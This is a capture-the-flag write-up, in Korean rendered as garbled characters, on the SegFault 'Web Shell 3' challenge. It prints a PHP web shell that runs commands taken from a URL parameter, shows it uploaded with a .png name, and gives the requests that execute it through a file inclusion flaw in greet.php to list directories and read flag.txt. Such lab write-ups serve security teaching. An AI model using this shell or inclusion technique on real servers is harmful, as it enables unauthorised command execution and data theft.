[SegFault] (File Vuln)
Web Shell 3
์๋ฒ์์ ์ค์ ํ์ผ! flag ํ์ผ์ ๊ฐ์ ธ์๋ผ!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ๋ File Vulnerability์ ๊ดํ ๋ฌธ์ ๋ก์, 'Server Side Script' File, ์ฆ ์น ์(Web Shell)์ Upload ํ๊ณ , ํด๋น ์น ์์ ์ ๋ก๋ ์์น๋ฅผ ์ฐพ์ ์คํ ์์ผ flag.txt ํ์ผ์ ์ฐพ๋ ๋ฌธ์ ์ด๋ค.
Vuln Point
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ, ๊ฒ์ํ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์์ .phpํ์ผ์ด ์ ๋ก๋๋์ง ์๋๋ค.
ํ์ง๋ง File Inclusion ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
๋ก๊ทธ์ธ ํ ํ์ธํด๋ณด๋ฉด ์ธ์ฌ๋ง์ด๋ผ๋ ํ์ด์ง๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ํ์ด์ง์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์ฌ๋ฌ ๊ตญ๊ฐ์ ์ธ์ด๋ก ๋ฒ์ญ๋๋ ํ์ด์ง๊ฐ ์กด์ฌํ๋ค.
์ด๊ฒ์ ์ฃผ์๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php
์ธ์ด๋ฅผ ๋ณ๊ฒฝํ๊ธฐ์ํด ๋๋ฅด๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝ๋๋ค.
์ด ๊ฒฝ์ฐ greet.php์ lang ํ๋ผ๋ฏธํฐ๊ฐ ๋ณ๊ฒฝ๋๋ฉด์ ํ์ด์ง๊ฐ ๋ณ๊ฒฝ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด๊ฒ์ File์ Include๋ฅผ ์ด์ฉํ์ฌ ๋ถ๋ฌ์ค๊ณ ์๋ ๊ฒ์์ ์ ์ ์๋ค.
http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php?lang=en.php
http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php?lang=ko.php
์์ ๊ฐ์ด ํด๋น ํ์ด์ง์์ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด, ๋ฒ์ญ ๋ถ๋ถ๋ง์ ๋ฐ๋ก์ด ๋ถ๋ฌ์ค๋ ๊ฒ์ด๋ค.
ํด๋น ๋๋ ํฐ๋ฆฌ๋ฅผ ๋๋ ํฐ๋ฆฌ ์ธ๋ฑ์ฑ ์ทจ์ฝ์ ์ ํตํด ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
์ฌ์ฉํ ์น ์ ์ฝ๋
์ฌ์ฉํ๊ธฐ ํธํ๋๋ก ์์ ํ ์น ์ ์ฝ๋์ด๋ค.
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
์น ์ ์ ๋ก๋
๊ฒ์ํ์ ์ ๋ก๋ ๊ธฐ๋ฅ์์ ํ์ฅ์ ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ง๊ณ ์์ด์ (.php)ํ์ผ์ ์ ๋ก๋๋ ๋ถ๊ฐ๋ฅํ๋ค.
ํ์ง๋ง ๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ File Include ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ํ์ฅ์๋ก ์ฌ๋ฆฐ ํ์ผ์๋ Server Side Script ์ฝ๋๊ฐ ๋ค์ด ์๋ค๋ฉด ๊ทธ๋๋ก ๋ณต์ฌ ๋ถ์ฌ๋ฃ๊ธฐ ํ๊ธฐ ๋๋ฌธ์ ์คํ์ด ๊ฐ๋ฅํ๋๋ก ํ๋ค.
๊ทธ๋ฌ๋ฏ๋ก web_shell.php ํ์ผ์ web_shell.png๋ก ๋ณ๊ฒฝํ ํ ์ ๋ก๋ ํ๋ค.
์ ๋ก๋ ํ ๋ค์ด๋ก๋ ๋งํฌ๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/files/gear/web_shell.png
์น ์ ์คํ
์ธ์ฌ๋ง ํ์ด์ง์ ์ ์ํ์ฌ Burp๋ฅผ ์ด์ฉํ์ฌ ํ๋ผ๋ฏธํฐ ๋ณ๊ฒฝ์ ์ํํ๋ค.
GET /webshell_3/webshell_3/greet.php?lang=
lang ํ๋ผ๋ฏธํฐ์ ์ฝ์ ๋๋ ํ์ผ์ ๋ํ์ฌ include๋ฅผ ์ด์ฉํ๋ ๊ฒ์ ํ์ธํ์๊ธฐ ๋๋ฌธ์ ํด๋น ํ๋ผ๋ฏธํฐ์์ ์์ ๊ฒฝ๋ก์ web_shell.png๋ฅผ ๋ฃ์ด์ค๋ค๋ฉด ๋ด์ฉ์ ๊ทธ๋๋ก ๋ณต์ฌํ์ฌ ๊ฐ์ ธ์ค๊ธฐ ๋๋ฌธ์ ์คํ์ด ๊ฐ๋ฅํ๋ค.
flag ์ฐพ๊ธฐ
GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=dir
์์ ๊ฐ์ด ์ ๋ ฅํ๋ฉฐ ๋ค์๊ณผ ๊ฐ์ด ์์ ๋๋ ํฐ๋ฆฌ์ ์กด์ฌํ๋ ๋ชจ๋ ํ์ผ๋ค์ ํ์ธํ ์ ์๋ค.
address.php likes.php notice_update.php qna_create.php css login notice_update_process.php qna_delete.php download.php login.php notice_write.php qna.php file_delete.php mypage.php notice_write_process.php qna_read.php files mypage_update.php qna_answer.php signup.html greet.php notice_delete.php qna_board.php signup.php index.php notice_list.php qna_check.php topSecret lang notice_read.php qna_comment.php
ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ topSecret์ด๋ผ๋ ๋๋ ํฐ๋ฆฌ๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=dir+topSecret
์์ ๊ฐ์ด ์ ๋ ฅํ์ฌ topSecret ๋๋ ํฐ๋ฆฌ ๋ด๋ถ๋ฅผ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ flag.txtํ์ผ์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ด์ฉ์ ํ์ธํ๊ธฐ ์ํด cat ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ค.
GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=cat+topSecret/flag.txt
์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฐ๊ณผ flag๋ฅผ ํ๋ํ ์ ์์๋ค.
์๊ฐํด ๋ณผ ์
File Include ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ฉด, ๊ตฌ์ง ํด๋น Server Side์ ํ์ฅ์๊ฐ ์๋๋๋ผ๋ ์ ๋ก๋ ํ์ฌ Include ํ๋ค๋ฉด Server Side Script๋ฅผ ์ด์ฉํ ์ ์๋ค๋ ๊ฒ์ ์ธ์งํ์!
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์